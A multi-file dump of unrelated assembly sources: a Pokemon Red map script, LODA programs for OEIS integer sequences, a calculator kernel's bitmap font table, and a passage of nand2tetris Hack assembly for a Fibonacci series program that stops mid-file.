ld de, PokemonTower4F_ScriptPointers
ld a, [wPokemonTower4FCurScript]
call ExecuteCurMapScriptInTable
ld [wPokemonTower4FCurScript], a
ret
PokemonTower4F_ScriptPointers:
dw CheckFightingMapTrainers
dw DisplayEnemyTrainerTextAndStartBattle
dw EndTrainerBattle
PokemonTower4F_TextPointers:
dw PokemonTower4Text1
dw PokemonTower4Text2
dw PokemonTower4Text3
dw PickUpItemText
dw PickUpItemText
dw PickUpItemText
PokemonTower4TrainerHeaders:
def_trainers
PokemonTower4TrainerHeader0:
trainer EVENT_BEAT_POKEMONTOWER_4_TRAINER_0, 2, PokemonTower4BattleText1, PokemonTower4EndBattleText1, PokemonTower4AfterBattleText1
PokemonTower4TrainerHeader1:
trainer EVENT_BEAT_POKEMONTOWER_4_TRAINER_1, 2, PokemonTower4BattleText2, PokemonTower4EndBattleText2, PokemonTower4AfterBattleText2
PokemonTower4TrainerHeader2:
trainer EVENT_BEAT_POKEMONTOWER_4_TRAINER_2, 2, PokemonTower4BattleText3, PokemonTower4EndBattleText3, PokemonTower4AfterBattleText3
db -1 ; end
PokemonTower4Text1:
text_asm
ld hl, PokemonTower4TrainerHeader0
call TalkToTrainer
jp TextScriptEnd
PokemonTower4Text2:
text_asm
ld hl, PokemonTower4TrainerHeader1
call TalkToTrainer
jp TextScriptEnd
PokemonTower4Text3:
text_asm
ld hl, PokemonTower4TrainerHeader2
call TalkToTrainer
jp TextScriptEnd
PokemonTower4BattleText1:
text_far _PokemonTower4BattleText1
text_end
PokemonTower4EndBattleText1:
text_far _PokemonTower4EndBattleText1
text_end
PokemonTower4AfterBattleText1:
text_far _PokemonTower4AfterBattleText1
text_end
PokemonTower4BattleText2:
text_far _PokemonTower4BattleText2
text_end
PokemonTower4EndBattleText2:
text_far _PokemonTower4EndBattleText2
text_end
PokemonTower4AfterBattleText2:
text_far _PokemonTower4AfterBattleText2
text_end
PokemonTower4BattleText3:
text_far _PokemonTower4BattleText3
text_end
PokemonTower4EndBattleText3:
text_far _PokemonTower4EndBattleText3
text_end
PokemonTower4AfterBattleText3:
text_far _PokemonTower4AfterBattleText3
text_end
|
programs/oeis/323/A323202.asm | karttu/loda | 1 | 25571 | <reponame>karttu/loda
; A323202: Expansion of (1 - x) * (1 - x^3) / (1 - x^4) in powers of x.
; 1,-1,0,-1,2,-1,0,-1,2,-1,0,-1,2,-1,0,-1,2,-1,0,-1,2,-1,0,-1,2,-1,0,-1,2,-1,0,-1,2,-1,0,-1,2,-1,0,-1,2,-1,0,-1,2,-1,0,-1,2,-1,0,-1,2,-1,0,-1,2,-1,0,-1,2,-1,0,-1,2,-1,0,-1,2,-1,0,-1,2,-1,0
mov $2,$0
gcd $0,4
cmp $2,0
cmp $2,0
sub $2,3
add $0,$2
mov $1,$0
|
programs/oeis/070/A070337.asm | neoneye/loda | 22 | 26738 | <filename>programs/oeis/070/A070337.asm
; A070337: a(n) = 2^n mod 27.
; 1,2,4,8,16,5,10,20,13,26,25,23,19,11,22,17,7,14,1,2,4,8,16,5,10,20,13,26,25,23,19,11,22,17,7,14,1,2,4,8,16,5,10,20,13,26,25,23,19,11,22,17,7,14,1,2,4,8,16,5,10,20,13,26,25,23,19,11,22,17,7,14,1,2,4,8,16,5,10,20,13,26,25,23,19,11,22,17,7,14,1,2,4,8,16,5,10,20,13,26
mov $1,1
mov $2,$0
lpb $2
mul $1,2
mod $1,27
sub $2,1
lpe
mov $0,$1
|
src/01/font.asm | Willem3141/kernel | 0 | 100345 | <reponame>Willem3141/kernel
; .db width (in pixels)
; .db 0b00000000
; .db 0b00000000
; .db 0b00000000
; .db 0b00000000
; .db 0b00000000
kernel_font:
; [space]
.db 1
.db 0b00000000
.db 0b00000000
.db 0b00000000
.db 0b00000000
.db 0b00000000
; !
.db 2
.db 0b10000000
.db 0b10000000
.db 0b10000000
.db 0b00000000
.db 0b10000000
; "
.db 4
.db 0b10100000
.db 0b10100000
.db 0b00000000
.db 0b00000000
.db 0b00000000
; #
.db 6
.db 0b01010000
.db 0b11111000
.db 0b01010000
.db 0b11111000
.db 0b01010000
; $
.db 4
.db 0b01000000
.db 0b01100000
.db 0b11000000
.db 0b01100000
.db 0b11000000
; %
.db 4
.db 0b10100000
.db 0b00100000
.db 0b01000000
.db 0b10000000
.db 0b10100000
; &
.db 5
.db 0b00100000
.db 0b01010000
.db 0b01100000
.db 0b10100000
.db 0b01010000
; '
.db 2
.db 0b10000000
.db 0b10000000
.db 0b00000000
.db 0b00000000
.db 0b00000000
; (
.db 3
.db 0b01000000
.db 0b10000000
.db 0b10000000
.db 0b10000000
.db 0b01000000
; )
.db 3
.db 0b10000000
.db 0b01000000
.db 0b01000000
.db 0b01000000
.db 0b10000000
; *
.db 4
.db 0b01000000
.db 0b11100000
.db 0b01000000
.db 0b10100000
.db 0b00000000
; +
.db 4
.db 0b00000000
.db 0b01000000
.db 0b11100000
.db 0b01000000
.db 0b00000000
; ,
.db 3
.db 0b00000000
.db 0b00000000
.db 0b01000000
.db 0b01000000
.db 0b10000000
; -
.db 4
.db 0b00000000
.db 0b00000000
.db 0b11100000
.db 0b00000000
.db 0b00000000
; .
.db 2
.db 0b00000000
.db 0b00000000
.db 0b00000000
.db 0b00000000
.db 0b10000000
; /
.db 4
.db 0b00100000
.db 0b00100000
.db 0b01000000
.db 0b10000000
.db 0b10000000
; 0
.db 4
.db 0b01000000
.db 0b10100000
.db 0b10100000
.db 0b10100000
.db 0b01000000
; 1
.db 4
.db 0b01000000
.db 0b11000000
.db 0b01000000
.db 0b01000000
.db 0b11100000
; 2
.db 4
.db 0b11000000
.db 0b00100000
.db 0b01000000
.db 0b10000000
.db 0b11100000
; 3
.db 4
.db 0b11000000
.db 0b00100000
.db 0b01000000
.db 0b00100000
.db 0b11000000
; 4
.db 4
.db 0b10100000
.db 0b10100000
.db 0b11100000
.db 0b00100000
.db 0b00100000
; 5
.db 4
.db 0b11100000
.db 0b10000000
.db 0b11000000
.db 0b00100000
.db 0b11000000
; 6
.db 4
.db 0b01100000
.db 0b10000000
.db 0b11100000
.db 0b10100000
.db 0b11100000
; 7
.db 4
.db 0b11100000
.db 0b00100000
.db 0b01000000
.db 0b10000000
.db 0b10000000
; 8
.db 4
.db 0b11100000
.db 0b10100000
.db 0b11100000
.db 0b10100000
.db 0b11100000
; 9
.db 4
.db 0b11100000
.db 0b10100000
.db 0b11100000
.db 0b00100000
.db 0b11000000
; :
.db 2
.db 0b00000000
.db 0b10000000
.db 0b00000000
.db 0b10000000
.db 0b00000000
; ;
.db 3
.db 0b00000000
.db 0b01000000
.db 0b00000000
.db 0b01000000
.db 0b10000000
; <
.db 4
.db 0b00100000
.db 0b01000000
.db 0b10000000
.db 0b01000000
.db 0b00100000
; =
.db 4
.db 0b00000000
.db 0b11100000
.db 0b00000000
.db 0b11100000
.db 0b00000000
; >
.db 4
.db 0b10000000
.db 0b01000000
.db 0b00100000
.db 0b01000000
.db 0b10000000
;?
.db 4
.db 0b11000000
.db 0b00100000
.db 0b01000000
.db 0b00000000
.db 0b01000000
; @
.db 5
.db 0b01110000
.db 0b10010000
.db 0b10110000
.db 0b10000000
.db 0b01110000
; A
.db 4
.db 0b01000000
.db 0b10100000
.db 0b11100000
.db 0b10100000
.db 0b10100000
; B
.db 4
.db 0b11000000
.db 0b10100000
.db 0b11000000
.db 0b10100000
.db 0b11000000
; C
.db 4
.db 0b01100000
.db 0b10000000
.db 0b10000000
.db 0b10000000
.db 0b01100000
; D
.db 4
.db 0b11000000
.db 0b10100000
.db 0b10100000
.db 0b10100000
.db 0b11000000
; E
.db 4
.db 0b11100000
.db 0b10000000
.db 0b11000000
.db 0b10000000
.db 0b11100000
; F
.db 4
.db 0b11100000
.db 0b10000000
.db 0b11000000
.db 0b10000000
.db 0b10000000
; G
.db 4
.db 0b01100000
.db 0b10000000
.db 0b10100000
.db 0b10100000
.db 0b01100000
; H
.db 4
.db 0b10100000
.db 0b10100000
.db 0b11100000
.db 0b10100000
.db 0b10100000
; I
.db 4
.db 0b11100000
.db 0b01000000
.db 0b01000000
.db 0b01000000
.db 0b11100000
; J
.db 4
.db 0b11100000
.db 0b01000000
.db 0b01000000
.db 0b01000000
.db 0b10000000
; K
.db 4
.db 0b10100000
.db 0b10100000
.db 0b11000000
.db 0b10100000
.db 0b10100000
; L
.db 4
.db 0b10000000
.db 0b10000000
.db 0b10000000
.db 0b10000000
.db 0b11100000
; M
.db 4
.db 0b10100000
.db 0b11100000
.db 0b11100000
.db 0b10100000
.db 0b10100000
; N
.db 4
.db 0b11000000
.db 0b10100000
.db 0b10100000
.db 0b10100000
.db 0b10100000
; O
.db 4
.db 0b11100000
.db 0b10100000
.db 0b10100000
.db 0b10100000
.db 0b11100000
; P
.db 4
.db 0b11000000
.db 0b10100000
.db 0b11000000
.db 0b10000000
.db 0b10000000
; Q
.db 4
.db 0b01000000
.db 0b10100000
.db 0b10100000
.db 0b11100000
.db 0b01100000
; R
.db 4
.db 0b11000000
.db 0b10100000
.db 0b11000000
.db 0b10100000
.db 0b10100000
; S
.db 4
.db 0b01100000
.db 0b10000000
.db 0b01000000
.db 0b00100000
.db 0b11000000
; T
.db 4
.db 0b11100000
.db 0b01000000
.db 0b01000000
.db 0b01000000
.db 0b01000000
; U
.db 4
.db 0b10100000
.db 0b10100000
.db 0b10100000
.db 0b10100000
.db 0b11100000
; V
.db 4
.db 0b10100000
.db 0b10100000
.db 0b10100000
.db 0b10100000
.db 0b01000000
; W
.db 4
.db 0b10100000
.db 0b10100000
.db 0b11100000
.db 0b11100000
.db 0b10100000
; X
.db 4
.db 0b10100000
.db 0b10100000
.db 0b01000000
.db 0b10100000
.db 0b10100000
; Y
.db 4
.db 0b10100000
.db 0b10100000
.db 0b01000000
.db 0b01000000
.db 0b01000000
; Z
.db 4
.db 0b11100000
.db 0b00100000
.db 0b01000000
.db 0b10000000
.db 0b11100000
; [
.db 3
.db 0b11000000
.db 0b10000000
.db 0b10000000
.db 0b10000000
.db 0b11000000
; \
.db 4
.db 0b10000000
.db 0b10000000
.db 0b01000000
.db 0b00100000
.db 0b00100000
; ]
.db 3
.db 0b11000000
.db 0b01000000
.db 0b01000000
.db 0b01000000
.db 0b11000000
; ^
.db 4
.db 0b01000000
.db 0b10100000
.db 0b00000000
.db 0b00000000
.db 0b00000000
; _
.db 4
.db 0b00000000
.db 0b00000000
.db 0b00000000
.db 0b00000000
.db 0b11110000
; `
.db 3
.db 0b10000000
.db 0b01000000
.db 0b00000000
.db 0b00000000
.db 0b00000000
; a
.db 4
.db 0b00000000
.db 0b01100000
.db 0b10100000
.db 0b10100000
.db 0b01100000
; b
.db 4
.db 0b10000000
.db 0b11000000
.db 0b10100000
.db 0b10100000
.db 0b11000000
; c
.db 4
.db 0b00000000
.db 0b01100000
.db 0b10000000
.db 0b10000000
.db 0b01100000
; d
.db 4
.db 0b00100000
.db 0b01100000
.db 0b10100000
.db 0b10100000
.db 0b01100000
; e
.db 4
.db 0b00000000
.db 0b01000000
.db 0b10100000
.db 0b11000000
.db 0b01100000
; f
.db 4
.db 0b00100000
.db 0b01000000
.db 0b11100000
.db 0b01000000
.db 0b01000000
; g
.db 4
.db 0b01100000
.db 0b10100000
.db 0b01100000
.db 0b00100000
.db 0b11000000
; h
.db 4
.db 0b10000000
.db 0b11000000
.db 0b10100000
.db 0b10100000
.db 0b10100000
; i
.db 2
.db 0b10000000
.db 0b00000000
.db 0b10000000
.db 0b10000000
.db 0b10000000
; j
.db 4
.db 0b00100000
.db 0b00000000
.db 0b00100000
.db 0b10100000
.db 0b01000000
; k
.db 4
.db 0b10000000
.db 0b10100000
.db 0b11000000
.db 0b10100000
.db 0b10100000
; l
.db 3
.db 0b11000000
.db 0b01000000
.db 0b01000000
.db 0b01000000
.db 0b01000000
; m
.db 6
.db 0b00000000
.db 0b11010000
.db 0b10101000
.db 0b10101000
.db 0b10001000
; n
.db 4
.db 0b00000000
.db 0b11000000
.db 0b10100000
.db 0b10100000
.db 0b10100000
; o
.db 4
.db 0b00000000
.db 0b01000000
.db 0b10100000
.db 0b10100000
.db 0b01000000
; p
.db 4
.db 0b00000000
.db 0b11000000
.db 0b10100000
.db 0b11000000
.db 0b10000000
; q
.db 4
.db 0b00000000
.db 0b01100000
.db 0b10100000
.db 0b01100000
.db 0b00100000
; r
.db 4
.db 0b00000000
.db 0b10100000
.db 0b11000000
.db 0b10000000
.db 0b10000000
; s
.db 3
.db 0b00000000
.db 0b11000000
.db 0b10000000
.db 0b01000000
.db 0b11000000
; t
.db 3
.db 0b10000000
.db 0b11000000
.db 0b10000000
.db 0b10000000
.db 0b01000000
; u
.db 4
.db 0b00000000
.db 0b10100000
.db 0b10100000
.db 0b10100000
.db 0b11100000
; v
.db 4
.db 0b00000000
.db 0b10100000
.db 0b10100000
.db 0b10100000
.db 0b01000000
; w
.db 6
.db 0b00000000
.db 0b10001000
.db 0b10101000
.db 0b10101000
.db 0b01010000
; x
.db 4
.db 0b00000000
.db 0b10100000
.db 0b01000000
.db 0b01000000
.db 0b10100000
; y
.db 4
.db 0b00000000
.db 0b10100000
.db 0b01100000
.db 0b00100000
.db 0b11000000
; z
.db 3
.db 0b00000000
.db 0b11000000
.db 0b01000000
.db 0b10000000
.db 0b11000000
; {
.db 4
.db 0b01100000
.db 0b01000000
.db 0b10000000
.db 0b01000000
.db 0b01100000
; |
.db 2
.db 0b10000000
.db 0b10000000
.db 0b10000000
.db 0b10000000
.db 0b10000000
; }
.db 4
.db 0b11000000
.db 0b01000000
.db 0b00100000
.db 0b01000000
.db 0b11000000
; ~
.db 5
.db 0b01010000
.db 0b10100000
.db 0b00000000
.db 0b00000000
.db 0b00000000
; (DEL)
.db 0, 0, 0, 0, 0, 0
; €
.db 5
.db 0b00110000
.db 0b11000000
.db 0b01100000
.db 0b11000000
.db 0b00110000
; n/a
.db 0, 0, 0, 0, 0, 0
; ‚
.db 3
.db 0b00000000
.db 0b00000000
.db 0b00000000
.db 0b01000000
.db 0b10000000
; ƒ
.db 4
.db 0b00100000
.db 0b01000000
.db 0b11100000
.db 0b01000000
.db 0b10000000
; „
.db 5
.db 0b00000000
.db 0b00000000
.db 0b00000000
.db 0b01010000
.db 0b10100000
; …
.db 5
.db 0b00000000
.db 0b00000000
.db 0b00000000
.db 0b00000000
.db 0b00000000
; †
.db 4
.db 0b01000000
.db 0b11100000
.db 0b01000000
.db 0b01000000
.db 0b01000000
; ‡
.db 4
.db 0b01000000
.db 0b11100000
.db 0b01000000
.db 0b11100000
.db 0b01000000
; ˆ
.db 4
.db 0b01000000
.db 0b10100000
.db 0b00000000
.db 0b00000000
.db 0b00000000
; ‰
.db 5
.db 0b10100000
.db 0b00100000
.db 0b01000000
.db 0b10010000
.db 0b10100000
; Š
.db 4
.db 0b01100000
.db 0b10000000
.db 0b01000000
.db 0b00100000
.db 0b11000000
; ‹
.db 3
.db 0b00000000
.db 0b01000000
.db 0b10000000
.db 0b01000000
.db 0b00000000
; Œ
.db 6
.db 0b01111000
.db 0b10100000
.db 0b10110000
.db 0b10100000
.db 0b01111000
; n/a
.db 0, 0, 0, 0, 0, 0
; Ž
.db 5
.db 0b11100000
.db 0b00100000
.db 0b01000000
.db 0b10000000
.db 0b11100000
; n/a
.db 0, 0, 0, 0, 0, 0
; n/a
.db 0, 0, 0, 0, 0, 0
; ‘
.db 3
.db 0b10000000
.db 0b01000000
.db 0b00000000
.db 0b00000000
.db 0b00000000
; ’
.db 3
.db 0b01000000
.db 0b10000000
.db 0b00000000
.db 0b00000000
.db 0b00000000
; “
.db 5
.db 0b10100000
.db 0b01010000
.db 0b00000000
.db 0b00000000
.db 0b00000000
; ”
.db 5
.db 0b01010000
.db 0b10100000
.db 0b00000000
.db 0b00000000
.db 0b00000000
; •
.db 6
.db 0b01110000
.db 0b11111000
.db 0b11111000
.db 0b11111000
.db 0b01110000
; –
.db 5
.db 0b00000000
.db 0b00000000
.db 0b11110000
.db 0b00000000
.db 0b00000000
; —
.db 5
.db 0b00000000
.db 0b00000000
.db 0b11111000
.db 0b00000000
.db 0b00000000
; ˜
.db 5
.db 0b01010000
.db 0b10100000
.db 0b00000000
.db 0b00000000
.db 0b00000000
; ™
.db 7
.db 0b11111100
.db 0b01011100
.db 0b01010100
.db 0b00000000
.db 0b00000000
; š
.db 3
.db 0b00000000
.db 0b11000000
.db 0b10000000
.db 0b01000000
.db 0b11000000
; ›
.db 3
.db 0b00000000
.db 0b10000000
.db 0b01000000
.db 0b10000000
.db 0b00000000
; œ
.db 7
.db 0b00000000
.db 0b01001000
.db 0b10110100
.db 0b10111000
.db 0b01011100
; n/a
.db 0, 0, 0, 0, 0, 0
; ž
.db 3
.db 0b00000000
.db 0b11000000
.db 0b01000000
.db 0b10000000
.db 0b11000000
; Ÿ
.db 4
.db 0b10100000
.db 0b00000000
.db 0b10100000
.db 0b01000000
.db 0b01000000
; n/a
.db 0, 0, 0, 0, 0, 0
; ¡
.db 2
.db 0b10000000
.db 0b00000000
.db 0b10000000
.db 0b10000000
.db 0b10000000
; ¢
.db 5
.db 0b00100000
.db 0b01110000
.db 0b10100000
.db 0b01110000
.db 0b00000000
; £
.db 5
.db 0b00110000
.db 0b01000000
.db 0b11100000
.db 0b01000000
.db 0b01110000
; ¤
.db 5
.db 0b10001000
.db 0b01110000
.db 0b01010000
.db 0b01110000
.db 0b10001000
; ¥
.db 5
.db 0b10100000
.db 0b10100000
.db 0b01000000
.db 0b11100000
.db 0b01000000
; ¦
.db 2
.db 0b10000000
.db 0b10000000
.db 0b00000000
.db 0b10000000
.db 0b10000000
; §
.db 4
.db 0b01100000
.db 0b11000000
.db 0b10100000
.db 0b01100000
.db 0b11000000
; ¨
.db 4
.db 0b10100000
.db 0b00000000
.db 0b00000000
.db 0b00000000
.db 0b00000000
; ©
.db 5
.db 0b01110000
.db 0b10111000
.db 0b11001000
.db 0b10111000
.db 0b01110000
; ª
.db 5
.db 0b01100000
.db 0b10100000
.db 0b01100000
.db 0b00000000
.db 0b00000000
; «
.db 5
.db 0b00000000
.db 0b01010000
.db 0b10100000
.db 0b01010000
.db 0b00000000
; ¬
.db 5
.db 0b00000000
.db 0b00000000
.db 0b11100000
.db 0b00100000
.db 0b00000000
; »
.db 5
.db 0b00000000
.db 0b10100000
.db 0b01010000
.db 0b10100000
.db 0b00000000
; ®
.db 5
.db 0b01110000
.db 0b10111000
.db 0b11001000
.db 0b11001000
.db 0b01110000
; ¯
.db 4
.db 0b11110000
.db 0b00000000
.db 0b00000000
.db 0b00000000
.db 0b00000000
; °
.db 4
.db 0b01000000
.db 0b10100000
.db 0b01000000
.db 0b00000000
.db 0b00000000
; ±
.db 4
.db 0b01000000
.db 0b11100000
.db 0b01000000
.db 0b00000000
.db 0b11100000
; ²
.db 3
.db 0b11000000
.db 0b01000000
.db 0b10000000
.db 0b11000000
.db 0b00000000
; ³
.db 3
.db 0b11000000
.db 0b01000000
.db 0b11000000
.db 0b00000000
.db 0b00000000
; ´
.db 3
.db 0b01000000
.db 0b10000000
.db 0b00000000
.db 0b00000000
.db 0b00000000
; µ
.db 4
.db 0b00000000
.db 0b10100000
.db 0b10100000
.db 0b11100000
.db 0b10000000
; ¶
.db 5
.db 0b01110000
.db 0b10110000
.db 0b10110000
.db 0b01110000
.db 0b00110000
; ·
.db 2
.db 0b00000000
.db 0b10000000
.db 0b00000000
.db 0b00000000
.db 0b00000000
; ¸
.db 2
.db 0b00000000
.db 0b00000000
.db 0b00000000
.db 0b01000000
.db 0b11000000
; ¹
.db 4
.db 0b11000000
.db 0b01000000
.db 0b11100000
.db 0b00000000
.db 0b00000000
; º
.db 5
.db 0b01100000
.db 0b10010000
.db 0b10010000
.db 0b01100000
.db 0b00000000
; »
.db 5
.db 0b00000000
.db 0b10100000
.db 0b01010000
.db 0b10100000
.db 0b00000000
; ¼
.db 7
.db 0b10010000
.db 0b10010000
.db 0b00101000
.db 0b01001100
.db 0b01000100
; ½
.db 8
.db 0b10010000
.db 0b10010100
.db 0b00100010
.db 0b01000100
.db 0b01000110
; ¾
.db 8
.db 0b11001000
.db 0b01001000
.db 0b11010100
.db 0b00100110
.db 0b00100010
; ¿
.db 4
.db 0b01000000
.db 0b00000000
.db 0b01000000
.db 0b10000000
.db 0b01100000
; À
.db 4
.db 0b10000000
.db 0b01000000
.db 0b10100000
.db 0b11100000
.db 0b10100000
; Á
.db 4
.db 0b00100000
.db 0b01000000
.db 0b10100000
.db 0b11100000
.db 0b10100000
; Â
.db 4
.db 0b11100000
.db 0b01000000
.db 0b10100000
.db 0b11100000
.db 0b10100000
; Ã
.db 4
.db 0b01100000
.db 0b11000000
.db 0b10100000
.db 0b11100000
.db 0b10100000
; Ä
.db 4
.db 0b10100000
.db 0b01000000
.db 0b10100000
.db 0b11100000
.db 0b10100000
; Å
.db 4
.db 0b01000000
.db 0b01000000
.db 0b10100000
.db 0b11100000
.db 0b10100000
; Æ
.db 6
.db 0b01111000
.db 0b10100000
.db 0b11110000
.db 0b10100000
.db 0b10111000
; Ç
.db 4
.db 0b01100000
.db 0b10000000
.db 0b10000000
.db 0b01100000
.db 0b11000000
; È
.db 4
.db 0b11100000
.db 0b10000000
.db 0b11000000
.db 0b10000000
.db 0b11100000
; É
.db 4
.db 0b11100000
.db 0b10000000
.db 0b11000000
.db 0b10000000
.db 0b11100000
; Ê
.db 4
.db 0b11100000
.db 0b10000000
.db 0b11000000
.db 0b10000000
.db 0b11100000
; Ë
.db 4
.db 0b11100000
.db 0b10000000
.db 0b11000000
.db 0b10000000
.db 0b11100000
; Ì
.db 4
.db 0b10000000
.db 0b01000000
.db 0b11100000
.db 0b01000000
.db 0b11100000
; Í
.db 4
.db 0b00100000
.db 0b01000000
.db 0b11100000
.db 0b01000000
.db 0b11100000
; Î
.db 4
.db 0b11100000
.db 0b00000000
.db 0b11100000
.db 0b01000000
.db 0b11100000
; Ï
.db 4
.db 0b10100000
.db 0b00000000
.db 0b01000000
.db 0b01000000
.db 0b01000000
; Ð
.db 4
.db 0b11000000
.db 0b10100000
.db 0b11100000
.db 0b10100000
.db 0b11000000
; Ñ
.db 4
.db 0b11100000
.db 0b00000000
.db 0b10100000
.db 0b11100000
.db 0b11100000
; Ò
.db 4
.db 0b10000000
.db 0b01000000
.db 0b10100000
.db 0b10100000
.db 0b01000000
; Ó
.db 4
.db 0b00100000
.db 0b01000000
.db 0b10100000
.db 0b10100000
.db 0b01000000
; Ô
.db 4
.db 0b01000000
.db 0b11100000
.db 0b10100000
.db 0b10100000
.db 0b01000000
; Õ
.db 4
.db 0b11100000
.db 0b01000000
.db 0b10100000
.db 0b10100000
.db 0b01000000
; Ö
.db 4
.db 0b10100000
.db 0b00000000
.db 0b11100000
.db 0b10100000
.db 0b01000000
; ×
.db 4
.db 0b00000000
.db 0b10100000
.db 0b01000000
.db 0b10100000
.db 0b00000000
; Ø
.db 4
.db 0b00100000
.db 0b01000000
.db 0b10100000
.db 0b01000000
.db 0b10000000
; Ù
.db 4
.db 0b10000000
.db 0b01000000
.db 0b10100000
.db 0b10100000
.db 0b01000000
; Ú
.db 4
.db 0b00100000
.db 0b01000000
.db 0b10100000
.db 0b10100000
.db 0b01000000
; Û
.db 4
.db 0b11100000
.db 0b00000000
.db 0b10100000
.db 0b10100000
.db 0b01000000
; Ü
.db 4
.db 0b10100000
.db 0b00000000
.db 0b10100000
.db 0b10100000
.db 0b01000000
; Ý
.db 4
.db 0b00100000
.db 0b00000000
.db 0b10100000
.db 0b01000000
.db 0b01000000
; Þ
.db 4
.db 0b10000000
.db 0b11000000
.db 0b10100000
.db 0b11000000
.db 0b10000000
; ß
.db 4
.db 0b11000000
.db 0b10100000
.db 0b11000000
.db 0b11100000
.db 0b10000000
; à
.db 4
.db 0b10000000
.db 0b01000000
.db 0b01100000
.db 0b10100000
.db 0b01100000
; á
.db 4
.db 0b00100000
.db 0b01000000
.db 0b01100000
.db 0b10100000
.db 0b01100000
; â
.db 4
.db 0b01000000
.db 0b10100000
.db 0b01100000
.db 0b10100000
.db 0b01100000
; ã
.db 4
.db 0b10100000
.db 0b01000000
.db 0b01100000
.db 0b10100000
.db 0b01100000
; ä
.db 4
.db 0b10100000
.db 0b00000000
.db 0b01100000
.db 0b10100000
.db 0b01100000
; å
.db 4
.db 0b00000000
.db 0b01100000
.db 0b10100000
.db 0b10100000
.db 0b01100000
; æ
.db 7
.db 0b00000000
.db 0b01101100
.db 0b10110100
.db 0b10111000
.db 0b01101100
; ç
.db 4
.db 0b01100000
.db 0b10000000
.db 0b01100000
.db 0b01000000
.db 0b11000000
; è
.db 4
.db 0b10000000
.db 0b01100000
.db 0b10100000
.db 0b11000000
.db 0b01100000
; é
.db 4
.db 0b00100000
.db 0b01000000
.db 0b10100000
.db 0b11000000
.db 0b01100000
; ê
.db 4
.db 0b00000000
.db 0b01100000
.db 0b10100000
.db 0b11000000
.db 0b01100000
; ë
.db 4
.db 0b10100000
.db 0b01100000
.db 0b10100000
.db 0b11000000
.db 0b01100000
; ì
.db 4
.db 0b01000000
.db 0b00100000
.db 0b01000000
.db 0b01000000
.db 0b01100000
; í
.db 4
.db 0b01000000
.db 0b10000000
.db 0b01000000
.db 0b01000000
.db 0b11100000
; î
.db 4
.db 0b01000000
.db 0b10100000
.db 0b01000000
.db 0b01000000
.db 0b01100000
; ï
.db 4
.db 0b10100000
.db 0b00000000
.db 0b01000000
.db 0b01000000
.db 0b11100000
; ð
.db 4
.db 0b11000000
.db 0b00100000
.db 0b01100000
.db 0b10100000
.db 0b01000000
; ñ
.db 4
.db 0b10100000
.db 0b01000000
.db 0b11000000
.db 0b10100000
.db 0b10100000
; ò
.db 4
.db 0b01000000
.db 0b00100000
.db 0b01000000
.db 0b10100000
.db 0b01000000
; ó
.db 4
.db 0b01000000
.db 0b10000000
.db 0b01000000
.db 0b10100000
.db 0b01000000
; ô
.db 4
.db 0b01000000
.db 0b00000000
.db 0b01000000
.db 0b10100000
.db 0b01000000
; õ
.db 4
.db 0b11100000
.db 0b00000000
.db 0b01000000
.db 0b10100000
.db 0b01000000
; ö
.db 4
.db 0b10100000
.db 0b00000000
.db 0b01000000
.db 0b10100000
.db 0b01000000
; ÷
.db 4
.db 0b01000000
.db 0b00000000
.db 0b11100000
.db 0b00000000
.db 0b01000000
; ø
.db 4
.db 0b00100000
.db 0b01100000
.db 0b10100000
.db 0b11000000
.db 0b10000000
; ù
.db 4
.db 0b11000000
.db 0b00100000
.db 0b01100000
.db 0b10100000
.db 0b01000000
; ú
.db 4
.db 0b00100000
.db 0b01000000
.db 0b10100000
.db 0b10100000
.db 0b01100000
; û
.db 4
.db 0b11100000
.db 0b00000000
.db 0b10100000
.db 0b10100000
.db 0b01100000
; ü
.db 4
.db 0b10100000
.db 0b00000000
.db 0b10100000
.db 0b10100000
.db 0b01100000
; ý
.db 4
.db 0b00100000
.db 0b01000000
.db 0b10100000
.db 0b01000000
.db 0b10000000
; þ
.db 4
.db 0b10000000
.db 0b11000000
.db 0b10100000
.db 0b11000000
.db 0b10000000
; ÿ
.db 4
.db 0b10100000
.db 0b00000000
.db 0b10100000
.db 0b01000000
.db 0b10000000
|
oeis/277/A277095.asm | neoneye/loda-programs | 11 | 97492 | ; A277095: Numbers k such that sin(k) < 0 and sin(k+2) > 0.
; Submitted by <NAME>
; 5,6,11,12,17,18,24,25,30,31,36,37,42,43,49,50,55,56,61,62,68,69,74,75,80,81,86,87,93,94,99,100,105,106,112,113,118,119,124,125,130,131,137,138,143,144,149,150,156,157,162,163,168,169,174,175,181,182,187,188,193,194,200,201,206,207,212,213,218,219,225,226,231,232,237,238,244,245,250,251,256,257,262,263,269,270,275,276,281,282,288,289,294,295,300,301,306,307,313,314
add $0,4
seq $0,277138 ; Numbers k such that cos(k) < 0 and cos(k+2) > 0.
sub $0,11
|
projects/08/ProgramFlow/FibonacciSeries/FibonacciSeries.asm | feliposz/nand2tetris | 0 | 82331 | // push argument 1 and pop pointer 1 inplace
@ARG
A=M+1
D=M
@THAT
M=D
// push constant 0 and pop that 0 inplace
@0
D=A
@SP
AM=M+1
A=A-1
M=D
@THAT
D=M
@R13
M=D
@SP
AM=M-1
D=M
@R13
A=M
M=D
// push constant 1 and pop that 1 inplace
@1
D=A
@SP
AM=M+1
A=A-1
M=D
@THAT
D=M+1
@R13
M=D
@SP
AM=M-1
D=M
@R13
A=M
M=D
// push argument 0
@ARG
A=M
D=M
@SP
AM=M+1
A=A-1
M=D
// push constant 2
@2
D=A
@SP
AM=M+1
A=A-1
M=D
// sub
@SP
AM=M-1
D=M
@SP
A=M-1
M=M-D
// pop argument 0
@ARG
D=M
@R13
M=D
@SP
AM=M-1
D=M
@R13
A=M
M=D
// label MAIN_LOOP_START
($MAIN_LOOP_START)
// push argument 0
@ARG
A=M
D=M
@SP
AM=M+1
A=A-1
M=D
// if-goto COMPUTE_ELEMENT
@SP
AM=M-1
D=M
@$COMPUTE_ELEMENT
D;JNE
// goto END_PROGRAM
@$END_PROGRAM
0;JMP
// label COMPUTE_ELEMENT
($COMPUTE_ELEMENT)
// push that 0
@THAT
A=M
D=M
@SP
AM=M+1
A=A-1
M=D
// push that 1
@THAT
A=M+1
D=M
@SP
AM=M+1
A=A-1
M=D
// add
@SP
AM=M-1
D=M
@SP
A=M-1
M=D+M
// pop that 2
@2
D=A
@THAT
D=D+M
@R13
M=D
@SP
AM=M-1
D=M
@R13
A=M
M=D
// push pointer 1
@THAT
D=M
@SP
AM=M+1
A=A-1
M=D
// push constant 1
@1
D=A
@SP
AM=M+1
A=A-1
M=D
// add
@SP
AM=M-1
D=M
@SP
A=M-1
M=D+M
// pop pointer 1
@SP
AM=M-1
D=M
@THAT
M=D
// push argument 0
@ARG
A=M
